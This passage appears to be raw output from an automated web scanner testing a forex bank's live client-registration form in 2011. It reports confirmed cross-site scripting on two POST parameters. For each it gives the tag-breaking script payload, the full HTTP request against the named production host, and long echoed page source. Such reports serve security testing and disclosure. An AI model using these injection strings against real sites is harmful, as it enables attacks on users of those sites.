var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST '"--></style></script><script>alert(0x00013B)</script>
aData%5BTYPE%5D POST 2
aData%5BaccountKind%5D POST 200
aData%5BservProviderAnswer%5D POST Yes
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 300
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x00013B)%3c%2fscript%3e&aData%5BTYPE%5D=2&aData%5BaccountKind%5D=200&aData%5BservProviderAnswer%5D=Yes&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:25:34 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST '"--></style></script><script>alert(0x000152)</script>
aData%5BaccountKind%5D POST 3
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 265
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000152)%3c%2fscript%3e&aData%5BaccountKind%5D=3&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:25:38 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
